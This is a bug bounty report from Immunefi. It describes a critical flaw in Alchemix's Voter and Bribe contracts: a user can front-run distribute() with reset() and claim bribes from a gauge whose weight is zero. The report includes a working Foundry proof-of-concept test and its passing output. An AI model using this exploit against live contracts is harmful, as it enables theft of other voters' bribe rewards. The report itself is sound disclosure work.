> For the complete documentation index, see [llms.txt](https://reports.immunefi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://reports.immunefi.com/alchemix/31085-sc-critical-malicious-users-can-front-run-the-distribution-....md). # 31085 - \[SC - Critical] Malicious users can front-run the distribution ... Submitted on May 12th 2024 at 14:17:54 UTC by @Ch301 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/) Report ID: #31085 Report type: Smart Contract Report severity: Critical Target: Impacts: * Theft of unclaimed royalties ## Description ## Brief/Intro The pool weight is zero but users are still able to claim bribes. ## Vulnerability Details First, let's understand two main points: 1- When a user invokes `Voter.sol#vote()`\[#1] will update `lastVoted[_tokenId]` to `block.timestamp` ```solidity File: Voter.sol 508: lastVoted[_tokenId] = block.timestamp; ``` Users to be able to reset the voting status, need to call `Voter.sol#reset()`. However, the modifier `onlyNewEpoch()` will force the user to wait until a new epoch starts since the last vote. So user can call `reset()` at the first second of the new epoch. ```solidity File: Voter.sol 110: require((block.timestamp / DURATION) * DURATION > lastVoted[_tokenId], "TOKEN_ALREADY_VOTED_THIS_EPOCH"); ``` 2- To distribute rewards and bribes to all gauges you need to call `Voter.sol#distribute()` only once per epoch. (Normally this is done by off-chain bots) ```solidity File: Voter.sol 408: function _distribute(address _gauge) internal { 409: 410: // Distribute once after epoch has ended 411: require( 412: block.timestamp >= IMinter(minter).activePeriod() + IMinter(minter).DURATION(), 413: "can only distribute after period end" 414: ); ``` Now, the first point updates all the related values, but the `Bribe.sol#withdraw()` will create a new checkpoint `X` (see: `_writeCheckpoint()`\[#2]) this checkpoint get considered for the new epoch not the last epoch. Next time the user calls `voter.sol#claimBribes()`. the `balanceOf` of the epoch `X - 1` will allow the user to claim all/part from the bribes even if he didn't help the gauge to generate more emrssions ```solidity File: Bribe.sol 232: function earned(address token, uint256 tokenId) public view returns (uint256) { /***/ 262: if (_nextEpochStart > prevRewards.timestamp) { 263: reward += prevRewards.balanceOf; 264: } ``` ## Impact Details 1- If the malicious user is the only one who votes to a gauge, He will claim all the bribes if they exist and the pool will receive zero emissions. 2- If there are multiple users vote for that particular pool, the malicious user will steal a part from other user's bribes. ## References \#1: \#2: ## Proof of Concept Foundry PoC: 1. Please copy the following PoC in `Voting.t.sol` ```solidity function test_bribes_poc_01() public { {//set up uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false); address bribeAddress = voter.bribes(address(sushiGauge)); address[] memory pools = new address[](1); pools[0] = sushiPoolAddress; uint256[] memory weights = new uint256[](1); weights[0] = 5000; address[] memory bribes = new address[](1); bribes[0] = address(bribeAddress); address[][] memory tokens = new address[][](1); tokens[0] = new address[](1); tokens[0][0] = bal; // in epoch i, user votes with balance x hevm.prank(admin); voter.vote(tokenId1, pools, weights, 0); // Start epoch hevm.warp(newEpoch()); voter.distribute(); } hevm.prank(admin); voter.vote(tokenId1, pools, weights, 0); // Add BAL bribes to sushiGauge createThirdPartyBribe(bribeAddress, bal, TOKEN_100K); /*@audit you can call `distribute()`only starting from `IMinter(minter).activePeriod() + IMinter(minter).DURATION()` */ // Start second epoch. this is the first second of the second epoch. hevm.warp(newEpoch() - 1); //! user front-run the `distribute()` transaction hevm.prank(admin); voter.reset(tokenId1); //! weight is zero uint weight = voter.weights(sushiPoolAddress); assertEq(weight, 0); voter.distribute(); uint256 balanceStart = IERC20(bal).balanceOf(admin); // Claim bribes from epoch i hevm.warp(block.timestamp + 100); hevm.prank(admin); voter.claimBribes(bribes, tokens, tokenId1); uint256 balanceEnd = IERC20(bal).balanceOf(admin); //! weight is zero but the user still able to claim the bribes assertGt(balanceEnd, balanceStart); } ``` 2. Test result: ```diff Ran 1 test for src/test/Voting.t.sol:VotingTest [PASS] test_bribes_poc_01() (gas: 3792050) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 52.46s (37.28s CPU time) Ran 1 test suite in 54.39s (52.46s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. 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